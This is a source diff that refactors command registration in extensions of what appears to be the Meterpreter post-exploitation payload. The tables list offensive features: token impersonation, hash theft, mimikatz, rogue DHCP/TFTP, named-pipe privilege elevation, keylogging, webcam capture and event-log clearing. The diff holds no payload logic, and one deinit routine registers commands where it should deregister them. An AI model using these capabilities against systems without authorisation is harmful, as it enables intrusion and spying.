for (index = 0; customCommands[index].method; index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -72,12 +47,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -181,47 +181,13 @@ cleanup:
Command customCommands[] =
{
// List tokens
{ "incognito_list_tokens",
{ request_incognito_list_tokens, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Impersonate token
{ "incognito_impersonate_token",
{ request_incognito_impersonate_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to host
{ "incognito_add_user",
{ request_incognito_add_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to group
{ "incognito_add_group_user",
{ request_incognito_add_group_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to local group
{ "incognito_add_localgroup_user",
{ request_incognito_add_localgroup_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Snarf token hashes
{ "incognito_snarf_hashes",
{ request_incognito_snarf_hashes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "incognito_list_tokens", request_incognito_list_tokens ),
COMMAND_REQ( "incognito_impersonate_token", request_incognito_impersonate_token ),
COMMAND_REQ( "incognito_add_user", request_incognito_add_user ),
COMMAND_REQ( "incognito_add_group_user", request_incognito_add_group_user ),
COMMAND_REQ( "incognito_add_localgroup_user", request_incognito_add_localgroup_user ),
COMMAND_REQ( "incognito_snarf_hashes", request_incognito_snarf_hashes ),
COMMAND_TERMINATOR
};
/*
@ -233,13 +199,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -249,12 +209,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -142,65 +142,16 @@ DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet){
}
Command customCommands[] =
{
// Launch DHCP server
{ "lanattacks_start_dhcp",
{ request_lanattacks_start_dhcp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Reset DHCP
{ "lanattacks_reset_dhcp",
{ request_lanattacks_reset_dhcp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Set DHCP Option
{ "lanattacks_set_dhcp_option",
{ request_lanattacks_set_dhcp_option, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Stop DHCP
{ "lanattacks_stop_dhcp",
{ request_lanattacks_stop_dhcp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Get DHCP Log
{ "lanattacks_dhcp_log",
{ request_lanattacks_dhcp_log, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Launch TFTP server
{ "lanattacks_start_tftp",
{ request_lanattacks_start_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Reset TFTP
{ "lanattacks_reset_tftp",
{ request_lanattacks_stop_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add TFTP file
{ "lanattacks_add_tftp_file",
{ request_lanattacks_add_tftp_file, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Stop TFTP
{ "lanattacks_stop_tftp",
{ request_lanattacks_stop_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "lanattacks_start_dhcp", request_lanattacks_start_dhcp ),
COMMAND_REQ( "lanattacks_reset_dhcp", request_lanattacks_reset_dhcp ),
COMMAND_REQ( "lanattacks_set_dhcp_option", request_lanattacks_set_dhcp_option ),
COMMAND_REQ( "lanattacks_stop_dhcp", request_lanattacks_stop_dhcp ),
COMMAND_REQ( "lanattacks_dhcp_log", request_lanattacks_dhcp_log ),
COMMAND_REQ( "lanattacks_start_tftp", request_lanattacks_start_tftp ),
COMMAND_REQ( "lanattacks_reset_tftp", request_lanattacks_stop_tftp ),
COMMAND_REQ( "lanattacks_add_tftp_file", request_lanattacks_add_tftp_file ),
COMMAND_REQ( "lanattacks_stop_tftp", request_lanattacks_stop_tftp ),
COMMAND_TERMINATOR
};
/*
@ -211,13 +162,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote){
hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
dhcpserver = createDHCPServer();
tftpserver = createTFTPServer();
@ -235,15 +180,13 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
destroyTFTPServer(tftpserver);
tftpserver = NULL;
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -88,15 +88,8 @@ DWORD request_custom_command(Remote *remote, Packet *packet)
Command customCommands[] =
{
{ "mimikatz_custom_command",
{ request_custom_command, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "mimikatz_custom_command", request_custom_command ),
COMMAND_TERMINATOR
};
/*
@ -108,10 +101,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
hMetSrv = remote->hMetSrv;
for (index = 0;
customCommands[index].method;
index++)
command_register(&customCommands[index]);
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -121,12 +111,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -324,7 +324,7 @@ DWORD request_networkpug_start(Remote *remote, Packet *packet)
np->remote = remote;
np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf);
// xxx, add in filter support
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote);
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote, NULL);
chops.native.context = np;
chops.native.write = networkpug_channel_write;

View File

@ -120,7 +120,7 @@ DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet )
_snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE );
@ -224,7 +224,7 @@ DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet )
if( dwTotal != dwServiceLength )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. WriteFile hServiceFile failed", ERROR_BAD_LENGTH );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", ERROR_INVALID_HANDLE );

View File

@ -675,7 +675,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
dprintf("filter applied successfully");
}
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL);
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL, NULL);
if(! j->thread) {
pcap_close(j->pcap);
break;
@ -1108,12 +1108,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
#endif
dprintf("[SERVER] Registering command handlers...");
for (index = 0; customCommands[index].method; index++) {
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
dprintf("[SERVER] Memory reset of open_captures...");
memset(open_captures, 0, sizeof(open_captures));
@ -1178,12 +1173,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_register_all( customCommands );
#ifdef _WIN32
MgrDestroy(hMgr);

View File

@ -21,321 +21,104 @@ extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
Command customCommands[] =
{
// General
{ "core_channel_open",
{ request_general_channel_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "core_channel_open", request_general_channel_open ),
#ifdef WIN32
// Railgun
{ "stdapi_railgun_api",
{ request_railgun_api, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_api_multi",
{ request_railgun_api_multi, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_memread",
{ request_railgun_memread, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_memwrite",
{ request_railgun_memwrite, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_railgun_api", request_railgun_api ),
COMMAND_REQ( "stdapi_railgun_api_multi", request_railgun_api_multi ),
COMMAND_REQ( "stdapi_railgun_memread", request_railgun_memread ),
COMMAND_REQ( "stdapi_railgun_memwrite", request_railgun_memwrite ),
#endif
// Fs
{ "stdapi_fs_ls",
{ request_fs_ls, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_getwd",
{ request_fs_getwd, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_chdir",
{ request_fs_chdir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_mkdir",
{ request_fs_mkdir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_delete_dir",
{ request_fs_delete_dir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_delete_file",
{ request_fs_delete_file, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_separator",
{ request_fs_separator, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_stat",
{ request_fs_stat, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_file_expand_path",
{ request_fs_file_expand_path, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_file_move",
{ request_fs_file_move, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_fs_ls", request_fs_ls ),
COMMAND_REQ( "stdapi_fs_getwd", request_fs_getwd ),
COMMAND_REQ( "stdapi_fs_chdir", request_fs_chdir ),
COMMAND_REQ( "stdapi_fs_mkdir", request_fs_mkdir ),
COMMAND_REQ( "stdapi_fs_delete_dir", request_fs_delete_dir ),
COMMAND_REQ( "stdapi_fs_delete_file", request_fs_delete_file ),
COMMAND_REQ( "stdapi_fs_separator", request_fs_separator ),
COMMAND_REQ( "stdapi_fs_stat", request_fs_stat ),
COMMAND_REQ( "stdapi_fs_file_expand_path", request_fs_file_expand_path ),
COMMAND_REQ( "stdapi_fs_file_move", request_fs_file_move ),
COMMAND_REQ( "stdapi_fs_md5", request_fs_md5 ),
COMMAND_REQ( "stdapi_fs_sha1", request_fs_sha1 ),
#ifdef _WIN32
{ "stdapi_fs_search",
{ request_fs_search, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_fs_search", request_fs_search ),
#endif
{ "stdapi_fs_md5",
{ request_fs_md5, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_sha1",
{ request_fs_sha1, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Process
{ "stdapi_sys_process_attach",
{ request_sys_process_attach, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_close",
{ request_sys_process_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_execute",
{ request_sys_process_execute, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_kill",
{ request_sys_process_kill, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_get_processes",
{ request_sys_process_get_processes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_getpid",
{ request_sys_process_getpid, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_get_info",
{ request_sys_process_get_info, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_wait",
{ request_sys_process_wait, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_process_attach", request_sys_process_attach ),
COMMAND_REQ( "stdapi_sys_process_close", request_sys_process_close ),
COMMAND_REQ( "stdapi_sys_process_execute", request_sys_process_execute ),
COMMAND_REQ( "stdapi_sys_process_kill", request_sys_process_kill ),
COMMAND_REQ( "stdapi_sys_process_get_processes", request_sys_process_get_processes ),
COMMAND_REQ( "stdapi_sys_process_getpid", request_sys_process_getpid ),
COMMAND_REQ( "stdapi_sys_process_get_info", request_sys_process_get_info ),
COMMAND_REQ( "stdapi_sys_process_wait", request_sys_process_wait ),
#ifdef _WIN32
// Image
{ "stdapi_sys_process_image_load",
{ request_sys_process_image_load, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_get_proc_address",
{ request_sys_process_image_get_proc_address, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_unload",
{ request_sys_process_image_unload, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_get_images",
{ request_sys_process_image_get_images, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Image
COMMAND_REQ( "stdapi_sys_process_image_load", request_sys_process_image_load ),
COMMAND_REQ( "stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address ),
COMMAND_REQ( "stdapi_sys_process_image_unload", request_sys_process_image_unload ),
COMMAND_REQ( "stdapi_sys_process_image_get_images", request_sys_process_image_get_images ),
// Memory
{ "stdapi_sys_process_memory_allocate",
{ request_sys_process_memory_allocate, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_free",
{ request_sys_process_memory_free, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_read",
{ request_sys_process_memory_read, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_write",
{ request_sys_process_memory_write, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_query",
{ request_sys_process_memory_query, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_protect",
{ request_sys_process_memory_protect, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_lock",
{ request_sys_process_memory_lock, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_unlock",
{ request_sys_process_memory_unlock, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Thread
{ "stdapi_sys_process_thread_open",
{ request_sys_process_thread_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_create",
{ request_sys_process_thread_create, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_close",
{ request_sys_process_thread_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_get_threads",
{ request_sys_process_thread_get_threads, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_suspend",
{ request_sys_process_thread_suspend, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_resume",
{ request_sys_process_thread_resume, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_terminate",
{ request_sys_process_thread_terminate, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_query_regs",
{ request_sys_process_thread_query_regs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_set_regs",
{ request_sys_process_thread_set_regs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Memory
COMMAND_REQ( "stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate ),
COMMAND_REQ( "stdapi_sys_process_memory_free", request_sys_process_memory_free ),
COMMAND_REQ( "stdapi_sys_process_memory_read", request_sys_process_memory_read ),
COMMAND_REQ( "stdapi_sys_process_memory_write", request_sys_process_memory_write ),
COMMAND_REQ( "stdapi_sys_process_memory_query", request_sys_process_memory_query ),
COMMAND_REQ( "stdapi_sys_process_memory_protect", request_sys_process_memory_protect ),
COMMAND_REQ( "stdapi_sys_process_memory_lock", request_sys_process_memory_lock ),
COMMAND_REQ( "stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock ),
// Thread
COMMAND_REQ( "stdapi_sys_process_thread_open", request_sys_process_thread_open ),
COMMAND_REQ( "stdapi_sys_process_thread_create", request_sys_process_thread_create ),
COMMAND_REQ( "stdapi_sys_process_thread_close", request_sys_process_thread_close ),
COMMAND_REQ( "stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads ),
COMMAND_REQ( "stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend ),
COMMAND_REQ( "stdapi_sys_process_thread_resume", request_sys_process_thread_resume ),
COMMAND_REQ( "stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate ),
COMMAND_REQ( "stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs ),
COMMAND_REQ( "stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs ),
// Registry
{ "stdapi_registry_load_key",
{ request_registry_load_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_unload_key",
{ request_registry_unload_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_open_key",
{ request_registry_open_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_open_remote_key",
{ request_registry_open_remote_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_create_key",
{ request_registry_create_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_enum_key",
{ request_registry_enum_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_delete_key",
{ request_registry_delete_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_close_key",
{ request_registry_close_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_set_value",
{ request_registry_set_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_query_value",
{ request_registry_query_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_query_class",
{ request_registry_query_class, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_enum_value",
{ request_registry_enum_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_delete_value",
{ request_registry_delete_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_registry_load_key", request_registry_load_key ),
COMMAND_REQ( "stdapi_registry_unload_key", request_registry_unload_key ),
COMMAND_REQ( "stdapi_registry_open_key", request_registry_open_key ),
COMMAND_REQ( "stdapi_registry_open_remote_key", request_registry_open_remote_key ),
COMMAND_REQ( "stdapi_registry_create_key", request_registry_create_key ),
COMMAND_REQ( "stdapi_registry_enum_key", request_registry_enum_key ),
COMMAND_REQ( "stdapi_registry_delete_key", request_registry_delete_key ),
COMMAND_REQ( "stdapi_registry_close_key", request_registry_close_key ),
COMMAND_REQ( "stdapi_registry_set_value", request_registry_set_value ),
COMMAND_REQ( "stdapi_registry_query_value", request_registry_query_value ),
COMMAND_REQ( "stdapi_registry_query_class", request_registry_query_class ),
COMMAND_REQ( "stdapi_registry_enum_value", request_registry_enum_value ),
COMMAND_REQ( "stdapi_registry_delete_value", request_registry_delete_value ),
#endif
// Sys/config
{ "stdapi_sys_config_getuid",
{ request_sys_config_getuid, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_sysinfo",
{ request_sys_config_sysinfo, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_rev2self",
{ request_sys_config_rev2self, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_getprivs",
{ request_sys_config_getprivs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_config_getuid", request_sys_config_getuid ),
COMMAND_REQ( "stdapi_sys_config_sysinfo", request_sys_config_sysinfo ),
COMMAND_REQ( "stdapi_sys_config_rev2self", request_sys_config_rev2self ),
COMMAND_REQ( "stdapi_sys_config_getprivs", request_sys_config_getprivs ),
#ifdef _WIN32
{ "stdapi_sys_config_steal_token",
{ request_sys_config_steal_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_drop_token",
{ request_sys_config_drop_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_config_steal_token", request_sys_config_steal_token ),
COMMAND_REQ( "stdapi_sys_config_drop_token", request_sys_config_drop_token ),
#endif
// Net
{ "stdapi_net_config_get_routes",
{ request_net_config_get_routes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_add_route",
{ request_net_config_add_route, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_remove_route",
{ request_net_config_remove_route, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_interfaces",
{ request_net_config_get_interfaces, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_arp_table",
{ request_net_config_get_arp_table, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_netstat",
{ request_net_config_get_netstat, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_net_config_get_routes", request_net_config_get_routes ),
COMMAND_REQ( "stdapi_net_config_add_route", request_net_config_add_route ),
COMMAND_REQ( "stdapi_net_config_remove_route", request_net_config_remove_route ),
COMMAND_REQ( "stdapi_net_config_get_interfaces", request_net_config_get_interfaces ),
COMMAND_REQ( "stdapi_net_config_get_arp_table", request_net_config_get_arp_table ),
COMMAND_REQ( "stdapi_net_config_get_netstat", request_net_config_get_netstat ),
#ifdef WIN32
{ "stdapi_net_config_get_proxy",
@ -343,129 +126,48 @@ Command customCommands[] =
{ EMPTY_DISPATCH_HANDLER },
},
// Resolve
{ "stdapi_net_resolve_host",
{ request_resolve_host, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_resolve_hosts",
{ request_resolve_hosts, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_net_resolve_host", request_resolve_host ),
COMMAND_REQ( "stdapi_net_resolve_hosts", request_resolve_hosts ),
#endif
// Socket
{ "stdapi_net_socket_tcp_shutdown",
{ request_net_socket_tcp_shutdown, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown ),
#ifdef _WIN32
// UI
{ "stdapi_ui_enable_mouse",
{ request_ui_enable_mouse, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_enable_keyboard",
{ request_ui_enable_keyboard, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_get_idle_time",
{ request_ui_get_idle_time, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_start_keyscan",
{ request_ui_start_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_stop_keyscan",
{ request_ui_stop_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_get_keys",
{ request_ui_get_keys, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_enum",
{ request_ui_desktop_enum, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_get",
{ request_ui_desktop_get, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_set",
{ request_ui_desktop_set, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_screenshot",
{ request_ui_desktop_screenshot, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_ui_enable_mouse", request_ui_enable_mouse ),
COMMAND_REQ( "stdapi_ui_enable_keyboard", request_ui_enable_keyboard ),
COMMAND_REQ( "stdapi_ui_get_idle_time", request_ui_get_idle_time ),
COMMAND_REQ( "stdapi_ui_start_keyscan", request_ui_start_keyscan ),
COMMAND_REQ( "stdapi_ui_stop_keyscan", request_ui_stop_keyscan ),
COMMAND_REQ( "stdapi_ui_get_keys", request_ui_get_keys ),
COMMAND_REQ( "stdapi_ui_desktop_enum", request_ui_desktop_enum ),
COMMAND_REQ( "stdapi_ui_desktop_get", request_ui_desktop_get ),
COMMAND_REQ( "stdapi_ui_desktop_set", request_ui_desktop_set ),
COMMAND_REQ( "stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot ),
// Event Log
{ "stdapi_sys_eventlog_open",
{ request_sys_eventlog_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_numrecords",
{ request_sys_eventlog_numrecords, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_read",
{ request_sys_eventlog_read, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_oldest",
{ request_sys_eventlog_oldest, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_clear",
{ request_sys_eventlog_clear, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_close",
{ request_sys_eventlog_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_eventlog_open", request_sys_eventlog_open ),
COMMAND_REQ( "stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords ),
COMMAND_REQ( "stdapi_sys_eventlog_read", request_sys_eventlog_read ),
COMMAND_REQ( "stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest ),
COMMAND_REQ( "stdapi_sys_eventlog_clear", request_sys_eventlog_clear ),
COMMAND_REQ( "stdapi_sys_eventlog_close", request_sys_eventlog_close ),
{ "stdapi_sys_power_exitwindows",
{ request_sys_power_exitwindows, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Power
COMMAND_REQ( "stdapi_sys_power_exitwindows", request_sys_power_exitwindows ),
// Webcam
{ "webcam_list",
{ request_webcam_list, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_start",
{ request_webcam_start, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_get_frame",
{ request_webcam_get_frame, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_stop",
